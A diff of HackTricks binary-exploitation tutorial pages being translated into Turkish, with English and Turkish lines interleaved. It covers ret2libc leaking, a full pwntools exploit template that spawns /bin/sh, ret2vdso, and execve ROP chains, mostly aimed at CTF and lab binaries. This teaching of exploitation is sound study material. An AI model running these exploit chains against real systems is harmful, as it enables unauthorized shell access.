Then, it will set the **address** of the gadget `POP_RDI` so the next address (`FUNC_GOT`) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\
After that, `PUTS_PLT` will be called (with `PUTS_GOT` inside the **RDI**) so puts will **read the content** inside `PUTS_GOT` (**the address of puts function in memory**) and will **print it out**.\
Finally, **main function is called again** so we can exploit the overflow again.
This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** (which is inside **libc** library). Now that we have that address we can **search which libc version is being used**.
Bu şekilde, **puts fonksiyonunu** **belirli bir adresi** **bellekte** **yazdırması** için **kandırdık** (bu, **libc** kütüphanesi içindedir). Artık bu adrese sahip olduğumuza göre, **hangi libc sürümünün kullanıldığını arayabiliriz**.
![](<../../../../images/image (1049).png>)
As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\
But, in a remote exploit case I will explain here how can you find it:
**Yerel** bir ikiliyi **istismar ettiğimiz** için, hangi **libc** sürümünün kullanıldığını bulmamıza **gerek yoktur** (sadece `/lib/x86_64-linux-gnu/libc.so.6` içindeki kütüphaneyi bul).\
Ancak, uzaktan bir istismar durumunda, bunu nasıl bulabileceğinizi burada açıklayacağım:
### 3.1- Searching for libc version (1)
### 3.1- libc sürümünü arama (1)
You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me)\
It will also allow you to download the discovered version of **libc**
Hangi kütüphanenin kullanıldığını web sayfasında arayabilirsiniz: [https://libc.blukat.me/](https://libc.blukat.me)\
Ayrıca, keşfedilen **libc** sürümünü indirmenize de olanak tanır.
![](<../../../../images/image (221).png>)
### 3.2- Searching for libc version (2)
### 3.2- libc sürümünü arama (2)
You can also do:
Ayrıca şunları yapabilirsiniz:
- `$ git clone https://github.com/niklasb/libc-database.git`
- `$ cd libc-database`
- `$ ./get`
This will take some time, be patient.\
For this to work we need:
Bu biraz zaman alacaktır, sabırlı olun.\
Bunun çalışması için şunlara ihtiyacımız var:
- Libc symbol name: `puts`
- Leaked libc adddress: `0x7ff629878690`
We can figure out which **libc** that is most likely used.
- Libc sembol adı: `puts`
- Sızdırılan libc adresi: `0x7ff629878690`
Hangi **libc**'nin muhtemelen kullanıldığını belirleyebiliriz.
```bash
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
```
We get 2 matches (you should try the second one if the first one is not working). Download the first one:
İki eşleşme alıyoruz (ilk çalışmıyorsa ikinciyi denemelisiniz). İlkini indirin:
```bash
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
```
`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` dosyasını çalışma dizinimize kopyalayın.
Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory.
### 3.3- Other functions to leak
### 3.3- Sızdırmak için diğer fonksiyonlar
```python
puts
printf
@ -198,28 +181,24 @@ __libc_start_main
read
gets
```
## 4- Bulunma temelli libc adresi ve istismar
## 4- Finding based libc address & exploiting
Bu noktada kullanılan libc kütüphanesini bilmemiz gerekiyor. Yerel bir ikiliyi istismar ettiğimiz için sadece şunu kullanacağım: `/lib/x86_64-linux-gnu/libc.so.6`
At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6`
Bu nedenle, `template.py` dosyasının başında **libc** değişkenini şuna değiştirin: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Kütüphane yolunu bildiğinizde ayarlayın`
So, at the beginning of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**.
Inside the `get_addr`function the **base address of libc** is going to be calculated:
**libc kütüphanesine** **yol** vererek, geri kalan **istismar otomatik olarak hesaplanacak**.
`get_addr` fonksiyonu içinde **libc'nin temel adresi** hesaplanacak:
```python
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
```
> [!NOTE]
> Note that **final libc base address must end in 00**. If that's not your case you might have leaked an incorrect library.
Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.**
> **Son libc temel adresinin 00 ile bitmesi gerektiğini** unutmayın. Eğer durumunuz böyle değilse, yanlış bir kütüphane sızdırmış olabilirsiniz.
Daha sonra, `system` fonksiyonunun adresi ve **adres** _"/bin/sh"_ dizesi **libc'nin temel adresinden** hesaplanacak ve **libc kütüphanesine** verilecektir.
```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
@ -228,9 +207,7 @@ EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
```
Finally, the /bin/sh execution exploit is going to be prepared sent:
Sonunda, /bin/sh yürütme istismarı hazırlanacak ve gönderilecek:
```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
@ -240,65 +217,56 @@ p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
```
Son ROP'u açıklayalım.\
Son ROP (`rop1`), ana fonksiyonu tekrar çağırarak sona erdi, bu yüzden **yine istismar edebiliriz** **overflow** (bu yüzden `OFFSET` burada tekrar var). Ardından, **"/bin/sh"** (_BINSH_) adresine işaret eden `POP_RDI`'yi çağırmak istiyoruz ve **system** fonksiyonunu (`SYSTEM`) çağırmak istiyoruz çünkü _"/bin/sh"_ adresi bir parametre olarak geçecektir.\
Son olarak, **çıkış fonksiyonunun adresi** **çağrılır** böylece işlem **güzel bir şekilde çıkar** ve herhangi bir uyarı üretilmez.
Let's explain this final ROP.\
The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\
Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated.
**This way the exploit will execute a \_/bin/sh**\_\*\* shell.\*\*
**Bu şekilde istismar bir \_/bin/sh**\_\*\* shell'i çalıştıracaktır.\*\*
![](<../../../../images/image (165).png>)
## 4(2)- Using ONE_GADGET
## 4(2)- ONE_GADGET KULLANARAK
You could also use [**ONE_GADGET** ](https://github.com/david942j/one_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**.\
However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.
Ayrıca [**ONE_GADGET** ](https://github.com/david942j/one_gadget) kullanarak **system** ve **"/bin/sh"** yerine bir shell elde edebilirsiniz. **ONE_GADGET**, libc kütüphanesi içinde sadece bir **ROP adresi** kullanarak bir shell elde etmenin bir yolunu bulacaktır.\
Ancak, genellikle bazı kısıtlamalar vardır, en yaygın ve kolayca aşılabilenler `[rsp+0x30] == NULL` gibidir. **RSP** içindeki değerleri kontrol ettiğiniz için, kısıtlamanın aşılması için sadece biraz daha NULL değeri göndermeniz yeterlidir.
![](<../../../../images/image (754).png>)
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
## İSTİSMAR DOSYASI
## EXPLOIT FILE
You can find a template to exploit this vulnerability here:
Bu güvenlik açığını istismar etmek için bir şablon burada bulunabilir:
{{#ref}}
rop-leaking-libc-template.md
{{#endref}}
## Common problems
## Yaygın problemler
### MAIN_PLT = elf.symbols\['main'] not found
If the "main" symbol does not exist. Then you can find where is the main code:
### MAIN_PLT = elf.symbols\['main'] bulunamadı
Eğer "main" sembolü yoksa, ana kodun nerede olduğunu bulabilirsiniz:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
and set the address manually:
ve adresi manuel olarak ayarlayın:
```python
MAIN_PLT = 0x401080
```
### Puts bulunamadı
### Puts not found
Eğer ikili dosya Puts kullanmıyorsa, kullanıp kullanmadığını kontrol etmelisiniz.
If the binary is not using Puts you should check if it is using
### `sh: 1: %s%s%s%s%s%s%s%s: bulunamadı`
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
Try to **subtract 64 bytes to the address of "/bin/sh"**:
Eğer **tüm** istismarı oluşturduktan sonra bu **hata** ile karşılaşırsanız: `sh: 1: %s%s%s%s%s%s%s%s: bulunamadı`
**"/bin/sh" adresinden 64 bayt çıkarmayı** deneyin:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
{{#include ../../../../banners/hacktricks-training.md}}

212
src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md
View File

@ -1,11 +1,6 @@
# Leaking libc - template
# libc Sızdırma - şablon
{{#include ../../../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
```python:template.py
from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools
@ -25,25 +20,25 @@ LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
ENV = {"LD_PRELOAD": LIBC} if LIBC else {}
if LOCAL:
P = process(LOCAL_BIN, env=ENV) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
P = process(LOCAL_BIN, env=ENV) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP:
P = remote('10.10.10.10',1339) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
P = remote('10.10.10.10',1339) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTESSH:
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
elf = ELF(LOCAL_BIN)# Extract data from binary
rop = ROP(elf)# Find ROP gadgets
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
elf = ELF(LOCAL_BIN)# Extract data from binary
rop = ROP(elf)# Find ROP gadgets
if GDB and not REMOTETTCP and not REMOTESSH:
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main")
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main")
@ -53,15 +48,15 @@ if GDB and not REMOTETTCP and not REMOTESSH:
OFFSET = b"" #b"A"*264
if OFFSET == b"":
gdb.attach(P.pid, "c") #Attach and continue
payload = cyclic(264)
payload += b"AAAAAAAA"
print(P.clean())
P.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#print(cyclic_find(0x63616171)) # Find the offset of those bytes
P.interactive()
exit()
gdb.attach(P.pid, "c") #Attach and continue
payload = cyclic(264)
payload += b"AAAAAAAA"
print(P.clean())
P.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#print(cyclic_find(0x63616171)) # Find the offset of those bytes
P.interactive()
exit()
@ -69,11 +64,11 @@ if OFFSET == b"":
### Find Gadgets ###
####################
try:
libc_func = "puts"
PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
libc_func = "puts"
PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
except:
libc_func = "printf"
PUTS_PLT = ELF_LOADED.plt['printf']
libc_func = "printf"
PUTS_PLT = ELF_LOADED.plt['printf']
MAIN_PLT = ELF_LOADED.symbols['main']
POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
@ -90,54 +85,54 @@ log.info("ret gadget: " + hex(RET))
########################
def generate_payload_aligned(rop):
payload1 = OFFSET + rop
if (len(payload1) % 16) == 0:
return payload1
payload1 = OFFSET + rop
if (len(payload1) % 16) == 0:
return payload1
else:
payload2 = OFFSET + p64(RET) + rop
if (len(payload2) % 16) == 0:
log.info("Payload aligned successfully")
return payload2
else:
log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
return payload1
else:
payload2 = OFFSET + p64(RET) + rop
if (len(payload2) % 16) == 0:
log.info("Payload aligned successfully")
return payload2
else:
log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
return payload1
def get_addr(libc_func):
FUNC_GOT = ELF_LOADED.got[libc_func]
log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
rop1 = generate_payload_aligned(rop1)
FUNC_GOT = ELF_LOADED.got[libc_func]
log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
rop1 = generate_payload_aligned(rop1)
# Send our rop-chain payload
#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
print(P.clean()) # clean socket buffer (read all and print)
P.sendline(rop1)
# Send our rop-chain payload
#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
print(P.clean()) # clean socket buffer (read all and print)
P.sendline(rop1)
# If binary is echoing back the payload, remove that message
recieved = P.recvline().strip()
if OFFSET[:30] in recieved:
recieved = P.recvline().strip()
# If binary is echoing back the payload, remove that message
recieved = P.recvline().strip()
if OFFSET[:30] in recieved:
recieved = P.recvline().strip()
# Parse leaked address
log.info(f"Len rop1: {len(rop1)}")
leak = u64(recieved.ljust(8, b"\x00"))
log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}")
# Parse leaked address
log.info(f"Len rop1: {len(rop1)}")
leak = u64(recieved.ljust(8, b"\x00"))
log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}")
# Set lib base address
if LIBC:
LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
log.info("LIBC base @ %s" % hex(LIBC.address))
# Set lib base address
if LIBC:
LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
log.info("LIBC base @ %s" % hex(LIBC.address))
# If not LIBC yet, stop here
else:
print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
P.interactive()
# If not LIBC yet, stop here
else:
print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
P.interactive()
return hex(leak)
return hex(leak)
get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
@ -150,38 +145,38 @@ get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
## Via One_gadget (https://github.com/david942j/one_gadget)
# gem install one_gadget
def get_one_gadgets(libc):
import string, subprocess
args = ["one_gadget", "-r"]
if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
args += ["-b", libc.hex()]
else:
args += [libc]
try:
one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
except:
print("One_gadget isn't installed")
one_gadgets = []
return
import string, subprocess
args = ["one_gadget", "-r"]
if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
args += ["-b", libc.hex()]
else:
args += [libc]
try:
one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
except:
print("One_gadget isn't installed")
one_gadgets = []
return
rop2 = b""
if USE_ONE_GADGET:
one_gadgets = get_one_gadgets(LIBC)
if one_gadgets:
rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
one_gadgets = get_one_gadgets(LIBC)
if one_gadgets:
rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
## Normal/Long exploitation
if not rop2:
BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
SYSTEM = LIBC.sym["system"]
EXIT = LIBC.sym["exit"]
BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
SYSTEM = LIBC.sym["system"]
EXIT = LIBC.sym["exit"]
log.info("POP_RDI %s " % hex(POP_RDI))
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
log.info("exit %s " % hex(EXIT))
log.info("POP_RDI %s " % hex(POP_RDI))
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
log.info("exit %s " % hex(EXIT))
rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
rop2 = generate_payload_aligned(rop2)
rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
rop2 = generate_payload_aligned(rop2)
print(P.clean())
@ -189,41 +184,30 @@ P.sendline(rop2)
P.interactive() #Interact with your shell :)
```
## Yaygın problemler
## Common problems
### MAIN_PLT = elf.symbols\['main'] not found
If the "main" symbol does not exist (probably because it's a stripped binary). Then you can just find where is the main code:
### MAIN_PLT = elf.symbols\['main'] bulunamadı
Eğer "main" sembolü yoksa (muhtemelen çünkü bu bir stripped binary). O zaman ana kodun nerede olduğunu bulabilirsiniz:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
and set the address manually:
ve adresi manuel olarak ayarlayın:
```python
MAIN_PLT = 0x401080
```
### Puts bulunamadı
### Puts not found
Eğer ikili dosya Puts kullanmıyorsa **kullanıp kullanmadığını kontrol etmelisiniz**
If the binary is not using Puts you should **check if it is using**
### `sh: 1: %s%s%s%s%s%s%s%s: bulunamadı`
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
Try to **subtract 64 bytes to the address of "/bin/sh"**:
Tüm istismarı oluşturduktan sonra bu **hata** ile karşılaşırsanız: `sh: 1: %s%s%s%s%s%s%s%s: bulunamadı`
**"/bin/sh" adresinden 64 byte çıkarmayı** deneyin:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../../../banners/hacktricks-training.md}}

16
src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md
View File

@ -2,12 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
There might be **gadgets in the vDSO region**, which is used to change from user mode to kernel mode. In these type of challenges, usually a kernel image is provided to dump the vDSO region.
Following the example from [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) it's possible to see how it was possible to dump the vdso section and move it to the host with:
**vDSO bölgesinde gadget'lar olabilir**, bu kullanıcı modundan çekirdek moduna geçmek için kullanılır. Bu tür zorluklarda genellikle vDSO bölgesini dökmek için bir çekirdek görüntüsü sağlanır.
[https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) örneğini takip ederek, vdso bölümünü döküp bunu ana makineye taşımak için nasıl mümkün olduğunu görebiliriz:
```bash
# Find addresses
cat /proc/76/maps
@ -33,9 +32,7 @@ echo '<base64-payload>' | base64 -d | gzip -d - > vdso
file vdso
ROPgadget --binary vdso | grep 'int 0x80'
```
ROP gadgets found:
ROP aletleri bulundu:
```python
vdso_addr = 0xf7ffc000
@ -54,13 +51,12 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
```
> [!CAUTION]
> Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
> Bu nedenle, **vdso'yu kötüye kullanarak ASLR'yi atlamanın** mümkün olabileceğine dikkat edin, çünkü kernel CONFIG_COMPAT_VDSO ile derlenmişse vdso adresi rastgeleleştirilmeyecek: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
### ARM64
After dumping and checking the vdso section of a binary in kali 2023.2 arm64, I couldn't find in there any interesting gadget (no way to control registers from values in the stack or to control x30 for a ret) **except a way to call a SROP**. Check more info int eh example from the page:
Kali 2023.2 arm64'te bir ikili dosyanın vdso bölümünü döküp kontrol ettikten sonra, orada ilginç bir gadget bulamadım (stack'teki değerlerden register'ları kontrol etmenin veya bir ret için x30'u kontrol etmenin bir yolu yok) **SROP'u çağırmanın bir yolu hariç**. Sayfadaki örnekte daha fazla bilgi kontrol edin:
{{#ref}}
srop-sigreturn-oriented-programming/srop-arm64.md

70
src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
View File

@ -2,26 +2,25 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
This is similar to Ret2lib, however, in this case we won't be calling a function from a library. In this case, everything will be prepared to call the syscall `sys_execve` with some arguments to execute `/bin/sh`. This technique is usually performed on binaries that are compiled statically, so there might be plenty of gadgets and syscall instructions.
Bu, Ret2lib'e benzer, ancak bu durumda bir kütüphaneden bir fonksiyon çağırmayacağız. Bu durumda, her şey `/bin/sh`'yi çalıştırmak için bazı argümanlarla `sys_execve` sistem çağrısını çağırmak üzere hazırlanacak. Bu teknik genellikle statik olarak derlenmiş ikili dosyalar üzerinde gerçekleştirilir, bu nedenle birçok gadget ve sistem çağrısı talimatı olabilir.
In order to prepare the call for the **syscall** it's needed the following configuration:
**syscall** çağrısını hazırlamak için aşağıdaki yapılandırma gereklidir:
- `rax: 59 Specify sys_execve`
- `rdi: ptr to "/bin/sh" specify file to execute`
- `rsi: 0 specify no arguments passed`
- `rdx: 0 specify no environment variables passed`
- `rax: 59 sys_execve'yi belirt`
- `rdi: "/bin/sh" dosyasını çalıştırmak için işaretçi`
- `rsi: 0 argüman geçmediğini belirt`
- `rdx: 0 ortam değişkeni geçmediğini belirt`
So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack). For this, we need a gadget to write `/bin/sh` in a known area.
Yani, temelde `/bin/sh` dizesini bir yere yazmak ve ardından `syscall`'ı gerçekleştirmek gerekiyor (yığın kontrolü için gereken padding'i dikkate alarak). Bunun için, `/bin/sh`'yi bilinen bir alana yazmak için bir gadget'a ihtiyacımız var.
> [!TIP]
> Another interesting syscall to call is **`mprotect`** which would allow an attacker to **modify the permissions of a page in memory**. This can be combined with [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
> Çağrılacak başka ilginç bir sistem çağrısı **`mprotect`**'dir; bu, bir saldırganın **bellekteki bir sayfanın izinlerini değiştirmesine** olanak tanır. Bu, [**ret2shellcode**](../../stack-overflow/stack-shellcode/) ile birleştirilebilir.
## Register gadgets
Let's start by finding **how to control those registers**:
## Kayıt gadget'ları
**Bu kayıtları nasıl kontrol edeceğimizi** bulmaya başlayalım:
```bash
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
@ -29,15 +28,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
```
Bu adreslerle **yığın içeriğini yazmak ve kayıtlarına yüklemek** mümkündür.
With these addresses it's possible to **write the content in the stack and load it into the registers**.
## Dize yaz
## Write string
### Writable memory
First you need to find a writable place in the memory
### Yazılabilir bellek
Öncelikle bellek içinde yazılabilir bir yer bulmanız gerekiyor.
```bash
gef> vmmap
[ Legend: Code | Heap | Stack ]
@ -46,26 +43,20 @@ Start End Offset Perm Path
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
```
### Belleğe Dize Yaz
### Write String in memory
Then you need to find a way to write arbitrary content in this address
Sonra bu adrese rastgele içerik yazmanın bir yolunu bulmanız gerekiyor.
```python
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
```
### ROP zincirini otomatikleştir
### Automate ROP chain
The following command creates a full `sys_execve` ROP chain given a static binary when there are write-what-where gadgets and syscall instructions:
Aşağıdaki komut, yazma-nerede-ne yazma gadget'ları ve syscall talimatları olduğunda, statik bir ikili dosya verildiğinde tam bir `sys_execve` ROP zinciri oluşturur:
```bash
ROPgadget --binary vuln --ropchain
```
#### 32 bits
#### 32 bit
```python
'''
Lets write "/bin/sh" to 0x6b6000
@ -87,9 +78,7 @@ rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
```
#### 64 bits
#### 64 bit
```python
'''
Lets write "/bin/sh" to 0x6b6000
@ -105,17 +94,15 @@ rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
```
## Yetersiz Gadgetler
## Lacking Gadgets
If you are **lacking gadgets**, for example to write `/bin/sh` in memory, you can use the **SROP technique to control all the register values** (including RIP and params registers) from the stack:
Eğer **gadgetleriniz yetersizse**, örneğin `/bin/sh`'yi belleğe yazmak için, yığın üzerinden tüm kayıt değerlerini (RIP ve parametre kayıtları dahil) kontrol etmek için **SROP tekniğini** kullanabilirsiniz:
{{#ref}}
../srop-sigreturn-oriented-programming/
{{#endref}}
## Exploit Example
## İstismar Örneği
```python
from pwn import *
@ -182,14 +169,13 @@ target.sendline(payload)
target.interactive()
```
## Other Examples & References
## Diğer Örnekler ve Referanslar
- [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
- 64 bits, no PIE, nx, write in some memory a ROP to call `execve` and jump there.
- 64 bit, PIE yok, nx, bazı bellek alanlarına `execve` çağırmak için bir ROP yazın ve oraya atlayın.
- [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
- 64 bits, nx, no PIE, write in some memory a ROP to call `execve` and jump there. In order to write to the stack a function that performs mathematical operations is abused
- 64 bit, nx, PIE yok, bazı bellek alanlarına `execve` çağırmak için bir ROP yazın ve oraya atlayın. Yığın üzerinde yazmak için matematiksel işlemler gerçekleştiren bir fonksiyon istismar edilmektedir.
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
- 64 bit, PIE yok, nx, BF canary, bazı bellek alanlarına `execve` çağırmak için bir ROP yazın ve oraya atlayın.
{{#include ../../../banners/hacktricks-training.md}}

62
src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
View File

@ -2,80 +2,73 @@
{{#include ../../../banners/hacktricks-training.md}}
Find an introduction to arm64 in:
arm64'e bir giriş bulmak için:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Code
## Kod
We are going to use the example from the page:
Sayfadan örneği kullanacağız:
{{#ref}}
../../stack-overflow/ret2win/ret2win-arm64.md
{{#endref}}
```c
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
vulnerable_function();
return 0;
}
```
Compile without pie and canary:
PIE ve canary olmadan derleyin:
```bash
clang -o ret2win ret2win.c -fno-stack-protector
```
## Gadgetler
## Gadgets
